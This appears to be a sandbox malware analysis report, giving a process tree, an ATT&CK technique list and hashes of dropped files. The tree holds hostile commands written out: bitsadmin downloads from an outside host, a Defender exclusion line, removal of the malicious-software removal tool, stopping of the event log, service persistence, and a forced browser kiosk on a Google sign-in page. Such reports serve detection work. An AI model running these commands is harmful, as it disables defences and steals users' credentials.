                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1420 --field-trial-handle=1244,i,15605378753839231940,12831261769223089488,131072 /prefetch:2
                                        8⤵
                                          PID:4040
                                    • C:\Users\Admin\AppData\Local\Temp\10103180101\f6a3f4768e.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10103180101\f6a3f4768e.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      PID:2500
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /F /IM firefox.exe /T
                                        7⤵
                                        • System Location Discovery: System Language Discovery
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2380
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /F /IM chrome.exe /T
                                        7⤵
                                        • System Location Discovery: System Language Discovery
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:876
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /F /IM msedge.exe /T
                                        7⤵
                                        • System Location Discovery: System Language Discovery
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2596
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /F /IM opera.exe /T
                                        7⤵
                                        • System Location Discovery: System Language Discovery
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1688
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /F /IM brave.exe /T
                                        7⤵
                                        • System Location Discovery: System Language Discovery
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2612
                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                        7⤵
                                          PID:1852
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                            8⤵
                                            • Checks processor information in registry
                                            • Modifies registry class
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            PID:1960
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1960.0.1739491612\876185954" -parentBuildID 20221007134813 -prefsHandle 1260 -prefMapHandle 1256 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e27adc86-8a40-413b-a7f0-8a15a9ed24d1} 1960 "\\.\pipe\gecko-crash-server-pipe.1960" 1360 108ee158 gpu
                                              9⤵
                                                PID:836
                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1960.1.582959608\1206127162" -parentBuildID 20221007134813 -prefsHandle 1512 -prefMapHandle 1508 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {782e4c88-b4c3-4f47-9b39-ea757e0e4402} 1960 "\\.\pipe\gecko-crash-server-pipe.1960" 1536 44c9b58 socket
                                                9⤵
                                                  PID:936
                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1960.2.1063755586\567936510" -childID 1 -isForBrowser -prefsHandle 2100 -prefMapHandle 2096 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 620 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f60b870b-658c-4c6a-a39f-d97a795b12ad} 1960 "\\.\pipe\gecko-crash-server-pipe.1960" 2120 17dac258 tab
                                                  9⤵
                                                    PID:2064
                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1960.3.1286376932\1584898052" -childID 2 -isForBrowser -prefsHandle 604 -prefMapHandle 528 -prefsLen 26151 -prefMapSize 233444 -jsInitHandle 620 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6853544d-edb4-426b-8e72-7b7413572ab3} 1960 "\\.\pipe\gecko-crash-server-pipe.1960" 2568 1bace258 tab
                                                    9⤵
                                                      PID:2712
                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1960.4.24507437\1417480896" -childID 3 -isForBrowser -prefsHandle 3912 -prefMapHandle 3404 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 620 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4a564748-ebcd-4ad0-b7fa-91bad253b5c7} 1960 "\\.\pipe\gecko-crash-server-pipe.1960" 3924 200e5458 tab
                                                      9⤵
                                                        PID:1716
                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1960.5.646788925\1058749774" -childID 4 -isForBrowser -prefsHandle 4036 -prefMapHandle 4040 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 620 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0a587f04-8dde-421a-8c92-5048214ea8e1} 1960 "\\.\pipe\gecko-crash-server-pipe.1960" 4024 200e6c58 tab
                                                        9⤵
                                                          PID:692
                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1960.6.1992764198\2002291679" -childID 5 -isForBrowser -prefsHandle 4100 -prefMapHandle 4092 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 620 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1fb0de05-6b7f-4b04-a47e-c96e234f7a77} 1960 "\\.\pipe\gecko-crash-server-pipe.1960" 4112 20c04258 tab
                                                          9⤵
                                                            PID:1744
                                                    • C:\Users\Admin\AppData\Local\Temp\10103190101\dbc71c9fa1.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10103190101\dbc71c9fa1.exe"
                                                      6⤵
                                                      • Modifies Windows Defender DisableAntiSpyware settings
                                                      • Modifies Windows Defender Real-time Protection settings
                                                      • Modifies Windows Defender TamperProtection settings
                                                      • Modifies Windows Defender notification settings
                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                      • Checks BIOS information in registry
                                                      • Executes dropped EXE
                                                      • Identifies Wine through registry keys
                                                      • Windows security modification
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3420
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10103201121\fCsM05d.cmd"
                                                      6⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3872
                                                      • C:\Windows\SysWOW64\fltMC.exe
                                                        fltmc
                                                        7⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3892
                                                      • C:\Windows\SysWOW64\bitsadmin.exe
                                                        bitsadmin /transfer "DownloadVrep" https://authenticatior.com/vrep.msi "C:\Users\Admin\AppData\Local\Temp\vrep_install\vrep.msi"
                                                        7⤵
                                                        • Download via BitsAdmin
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1152
                                                      • C:\Windows\SysWOW64\bitsadmin.exe
                                                        bitsadmin /transfer "DownloadClient" https://authenticatior.com/Client32.ini "C:\Users\Admin\AppData\Local\Temp\vrep_install\Client32.ini"
                                                        7⤵
                                                        • Download via BitsAdmin
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3516
                                                      • C:\Windows\SysWOW64\bitsadmin.exe
                                                        bitsadmin /transfer "DownloadLicense" https://authenticatior.com/NSM.lic "C:\Users\Admin\AppData\Local\Temp\vrep_install\NSM.lic"
                                                        7⤵
                                                        • Download via BitsAdmin
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3964
                                                    • C:\Users\Admin\AppData\Local\Temp\10103210101\FvbuInU.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10103210101\FvbuInU.exe"
                                                      6⤵
                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                      • Checks BIOS information in registry
                                                      • Executes dropped EXE
                                                      • Identifies Wine through registry keys
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3892
                                                    • C:\Users\Admin\AppData\Local\Temp\10103220101\OEHBOHk.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10103220101\OEHBOHk.exe"
                                                      6⤵
                                                      • Executes dropped EXE
                                                      • Drops file in System32 directory
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3368
                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                        7⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Drops file in System32 directory
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:3876
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                        7⤵
                                                          PID:3520
                                                          • C:\Windows\system32\wusa.exe
                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                            8⤵
                                                            • Drops file in Windows directory
                                                            PID:4076
                                                        • C:\Windows\system32\powercfg.exe
                                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                          7⤵
                                                          • Power Settings
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3528
                                                        • C:\Windows\system32\powercfg.exe
                                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                          7⤵
                                                          • Power Settings
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3536
                                                        • C:\Windows\system32\powercfg.exe
                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                          7⤵
                                                          • Power Settings
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3544
                                                        • C:\Windows\system32\powercfg.exe
                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                          7⤵
                                                          • Power Settings
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3552
                                                        • C:\Windows\system32\sc.exe
                                                          C:\Windows\system32\sc.exe delete "DWENDQPG"
                                                          7⤵
                                                          • Launches sc.exe
                                                          PID:3560
                                                        • C:\Windows\system32\sc.exe
                                                          C:\Windows\system32\sc.exe create "DWENDQPG" binpath= "C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe" start= "auto"
                                                          7⤵
                                                          • Launches sc.exe
                                                          PID:4080
                                                        • C:\Windows\system32\sc.exe
                                                          C:\Windows\system32\sc.exe stop eventlog
                                                          7⤵
                                                          • Launches sc.exe
                                                          PID:3728
                                                        • C:\Windows\system32\sc.exe
                                                          C:\Windows\system32\sc.exe start "DWENDQPG"
                                                          7⤵
                                                          • Launches sc.exe
                                                          PID:3344
                                                      • C:\Users\Admin\AppData\Local\Temp\10103230101\zY9sqWs.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10103230101\zY9sqWs.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3776
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 1040
                                                          7⤵
                                                          • Loads dropped DLL
                                                          • Program crash
                                                          PID:3956
                                                      • C:\Users\Admin\AppData\Local\Temp\10103240101\Y87Oyyz.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10103240101\Y87Oyyz.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3832
                                                        • C:\Windows\Temp\{E9AD13C7-1D57-45C8-A950-81878DAEB572}\.cr\Y87Oyyz.exe
                                                          "C:\Windows\Temp\{E9AD13C7-1D57-45C8-A950-81878DAEB572}\.cr\Y87Oyyz.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\10103240101\Y87Oyyz.exe" -burn.filehandle.attached=180 -burn.filehandle.self=188
                                                          7⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • System Location Discovery: System Language Discovery
                                                          PID:3384
                                                          • C:\Windows\Temp\{BC4E9261-E050-456B-B4AA-6B9C0D16EE45}\.ba\SplashWin.exe
                                                            C:\Windows\Temp\{BC4E9261-E050-456B-B4AA-6B9C0D16EE45}\.ba\SplashWin.exe
                                                            8⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • System Location Discovery: System Language Discovery
                                                            PID:3480
                                                            • C:\Users\Admin\AppData\Roaming\osd_patch_beta\SplashWin.exe
                                                              C:\Users\Admin\AppData\Roaming\osd_patch_beta\SplashWin.exe
                                                              9⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: MapViewOfSection
                                                              PID:3636
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\SysWOW64\cmd.exe
                                                                10⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:4092
                                                      • C:\Users\Admin\AppData\Local\Temp\10103250101\SvhQA35.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10103250101\SvhQA35.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        PID:3316
                                                        • C:\Users\Admin\AppData\Local\Temp\onefile_3316_133856567547162000\chromium.exe
                                                          C:\Users\Admin\AppData\Local\Temp\10103250101\SvhQA35.exe
                                                          7⤵
                                                          • Executes dropped EXE
                                                          PID:3424
                                            • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                              "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                              1⤵
                                                PID:2060
                                              • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                1⤵
                                                  PID:3124
                                                • C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe
                                                  C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • Drops file in System32 directory
                                                  • Suspicious use of SetThreadContext
                                                  PID:3924
                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                    2⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Drops file in System32 directory
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:3944
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                    2⤵
                                                      PID:2552
                                                      • C:\Windows\system32\wusa.exe
                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                        3⤵
                                                        • Drops file in Windows directory
                                                        PID:3260
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                      2⤵
                                                      • Power Settings
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2084
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                      2⤵
                                                      • Power Settings
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2564
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                      2⤵
                                                      • Power Settings
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:264
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                      2⤵
                                                      • Power Settings
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:532
                                                    • C:\Windows\system32\conhost.exe
                                                      C:\Windows\system32\conhost.exe
                                                      2⤵
                                                        PID:1064
                                                      • C:\Windows\explorer.exe
                                                        explorer.exe
                                                        2⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4020

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Reconnaissance

                                                    Resource Development

                                                    Initial Access

                                                    Execution

                                                    Command and Scripting Interpreter

                                                    1
                                                    T1059

                                                    PowerShell

                                                    1
                                                    T1059.001

                                                    Scheduled Task/Job

                                                    1
                                                    T1053

                                                    Scheduled Task

                                                    1
                                                    T1053.005

                                                    System Services

                                                    2
                                                    T1569

                                                    Service Execution

                                                    2
                                                    T1569.002

                                                    Persistence

                                                    BITS Jobs

                                                    1
                                                    T1197

                                                    Boot or Logon Autostart Execution

                                                    1
                                                    T1547

                                                    Registry Run Keys / Startup Folder

                                                    1
                                                    T1547.001

                                                    Create or Modify System Process

                                                    6
                                                    T1543

                                                    Windows Service

                                                    6
                                                    T1543.003

                                                    Modify Authentication Process

                                                    1
                                                    T1556

                                                    Power Settings

                                                    1
                                                    T1653

                                                    Scheduled Task/Job

                                                    1
                                                    T1053

                                                    Scheduled Task

                                                    1
                                                    T1053.005

                                                    Privilege Escalation

                                                    Boot or Logon Autostart Execution

                                                    1
                                                    T1547

                                                    Registry Run Keys / Startup Folder

                                                    1
                                                    T1547.001

                                                    Create or Modify System Process

                                                    6
                                                    T1543

                                                    Windows Service

                                                    6
                                                    T1543.003

                                                    Scheduled Task/Job

                                                    1
                                                    T1053

                                                    Scheduled Task

                                                    1
                                                    T1053.005

                                                    Defense Evasion

                                                    BITS Jobs

                                                    1
                                                    T1197

                                                    Impair Defenses

                                                    6
                                                    T1562

                                                    Disable or Modify Tools

                                                    5
                                                    T1562.001

                                                    Modify Authentication Process

                                                    1
                                                    T1556

                                                    Modify Registry

                                                    8
                                                    T1112

                                                    Subvert Trust Controls

                                                    1
                                                    T1553

                                                    Install Root Certificate

                                                    1
                                                    T1553.004

                                                    Virtualization/Sandbox Evasion

                                                    2
                                                    T1497

                                                    Credential Access

                                                    Credentials from Password Stores

                                                    1
                                                    T1555

                                                    Credentials from Web Browsers

                                                    1
                                                    T1555.003

                                                    Modify Authentication Process

                                                    1
                                                    T1556

                                                    Steal Web Session Cookie

                                                    1
                                                    T1539

                                                    Unsecured Credentials

                                                    5
                                                    T1552

                                                    Credentials In Files

                                                    5
                                                    T1552.001

                                                    Discovery

                                                    Browser Information Discovery

                                                    1
                                                    T1217

                                                    Query Registry

                                                    7
                                                    T1012

                                                    System Information Discovery

                                                    4
                                                    T1082

                                                    System Location Discovery

                                                    1
                                                    T1614

                                                    System Language Discovery

                                                    1
                                                    T1614.001

                                                    Virtualization/Sandbox Evasion

                                                    2
                                                    T1497

                                                    Lateral Movement

                                                    Collection

                                                    Data from Local System

                                                    4
                                                    T1005

                                                    Command and Control

                                                    Exfiltration

                                                    Impact

                                                    Service Stop

                                                    1
                                                    T1489

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • C:\ProgramData\963C1EB5F3EC9B86.dat
                                                      Filesize

                                                      46KB

                                                      MD5

                                                      02d2c46697e3714e49f46b680b9a6b83

                                                      SHA1

                                                      84f98b56d49f01e9b6b76a4e21accf64fd319140

                                                      SHA256

                                                      522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

                                                      SHA512

                                                      60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

                                                      Download Submit

                                                    • C:\ProgramData\96C066EC0B3A1145.dat
                                                      Filesize

                                                      20KB

                                                      MD5

                                                      c9ff7748d8fcef4cf84a5501e996a641

                                                      SHA1

                                                      02867e5010f62f97ebb0cfb32cb3ede9449fe0c9

                                                      SHA256

                                                      4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988

                                                      SHA512

                                                      d36054499869a8f56ac8547ccd5455f1252c24e17d2b185955390b32da7e2a732ace4e0f30f9493fcc61425a2e31ed623465f998f41af69423ee0e3ed1483a73

                                                      Download Submit

                                                    • C:\ProgramData\9F140B4D4AE6E491.dat
                                                      Filesize

                                                      288KB

                                                      MD5

                                                      02b209f8c8110fe9ecead683feb94c33

                                                      SHA1

                                                      0d02d1f2fc5fd0b65c781f4c7aa45aa7a299acc5

                                                      SHA256

                                                      d0384d47be584abc61d5830c0cfe424661de6c0719ceb890a6ed1ca8cd2afba2

                                                      SHA512

                                                      e274ade9e10120c774b2f9778d159d80f915ce294b717b15aa6445cb4a13c7a59f28519f5b207fd4b1a415a56554133d3d0d04d914680ec0d6d67565f6a290bc

                                                      Download Submit

                                                    • C:\ProgramData\DAKJDAAF
                                                      Filesize

                                                      92KB

                                                      MD5

                                                      102841a614a648b375e94e751611b38f

                                                      SHA1

                                                      1368e0d6d73fa3cee946bdbf474f577afffe2a43

                                                      SHA256

                                                      c82ee2a0dc2518cb1771e07ce4b91f5ef763dd3dd006819aece867e82a139264

                                                      SHA512

                                                      ca18a888dca452c6b08ad9f14b4936eb9223346c45c96629c3ee4dd6742e947b6825662b42e793135e205af77ad35e6765ac6a2b42cefed94781b3463a811f0a

                                                      Download Submit

                                                    • C:\ProgramData\EBAAFCAFCBKFHJJJKKFHIDAAKF
                                                      Filesize

                                                      5.0MB

                                                      MD5

                                                      c5ec8e3a3ac8a0b4def250704fadbe97

                                                      SHA1

                                                      0673f991bef6c568e04e37ae93567ab6369b8b46

                                                      SHA256

                                                      d72959f1ac7ba38109198851384bac6b086b0b4d859334719d8898b81ce4ca70

                                                      SHA512

                                                      2094ed53e365418bfc58ea71947280e71f712a20a28c1f49c44b3128032796a3066323a717dc74e4240fd03187c007660b285a5a300d5603d68ae61847e562d0

                                                      Download Submit

                                                    • C:\ProgramData\IJEHIDHDAKJDHJKEBFIEHCAAEH
                                                      Filesize

                                                      96KB

                                                      MD5

                                                      d367ddfda80fdcf578726bc3b0bc3e3c

                                                      SHA1

                                                      23fcd5e4e0e5e296bee7e5224a8404ecd92cf671

                                                      SHA256

                                                      0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0

                                                      SHA512

                                                      40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

                                                      Download Submit

                                                    • C:\Temp\KHPgV2oTf.hta
                                                      Filesize

                                                      779B

                                                      MD5

                                                      39c8cd50176057af3728802964f92d49

                                                      SHA1

                                                      68fc10a10997d7ad00142fc0de393fe3500c8017

                                                      SHA256

                                                      f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84

                                                      SHA512

                                                      cf563b2b5a3553acf3a91298936b904abf87620c2fc582bcdb45dec5d4b877bef5ae81feae4b741e1aee1a916e543b5f6914d9c494d2aa33bc6f15c6fc904cc6

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                                                      Filesize

                                                      71KB

                                                      MD5

                                                      83142242e97b8953c386f988aa694e4a

                                                      SHA1

                                                      833ed12fc15b356136dcdd27c61a50f59c5c7d50

                                                      SHA256

                                                      d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

                                                      SHA512

                                                      bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\000007.dbtmp
                                                      Filesize

                                                      16B

                                                      MD5

                                                      18e723571b00fb1694a3bad6c78e4054

                                                      SHA1

                                                      afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                                                      SHA256

                                                      8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                                                      SHA512

                                                      43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Guest Profile\Sync Data\LevelDB\MANIFEST-000001
                                                      Filesize

                                                      41B

                                                      MD5

                                                      5af87dfd673ba2115e2fcf5cfdb727ab

                                                      SHA1

                                                      d5b5bbf396dc291274584ef71f444f420b6056f1

                                                      SHA256

                                                      f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

                                                      SHA512

                                                      de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\System Profile\History
                                                      Filesize

                                                      148KB

                                                      MD5

                                                      90a1d4b55edf36fa8b4cc6974ed7d4c4

                                                      SHA1

                                                      aba1b8d0e05421e7df5982899f626211c3c4b5c1

                                                      SHA256

                                                      7cf3e9e8619904e72ea6608cc43e9b6c9f8aa2af02476f60c2b3daf33075981c

                                                      SHA512

                                                      ea0838be754e1258c230111900c5937d2b0788f90bbf7c5f82b2ceda7868e50afb86c301f313267eaa912778da45755560b5434885521bf915967a7863922ae2

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\System Profile\Site Characteristics Database\000004.dbtmp
                                                      Filesize

                                                      16B

                                                      MD5

                                                      6752a1d65b201c13b62ea44016eb221f

                                                      SHA1

                                                      58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                      SHA256

                                                      0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                      SHA512

                                                      9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\System Profile\Sync Data\LevelDB\000002.dbtmp
                                                      Filesize

                                                      16B

                                                      MD5

                                                      206702161f94c5cd39fadd03f4014d98

                                                      SHA1

                                                      bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                                      SHA256

                                                      1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                                      SHA512

                                                      0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\System Profile\Sync Data\LevelDB\CURRENT
                                                      Filesize

                                                      16B

                                                      MD5

                                                      46295cac801e5d4857d09837238a6394

                                                      SHA1

                                                      44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                                      SHA256

                                                      0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                                      SHA512

                                                      8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\a3b3347b-8c75-417d-9bb5-277bc3761ce1.tmp
                                                      Filesize

                                                      2B

                                                      MD5

                                                      99914b932bd37a50b983c5e7c90ae93b

                                                      SHA1

                                                      bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                                      SHA256

                                                      44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                                      SHA512

                                                      27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

                                                      Download Submit

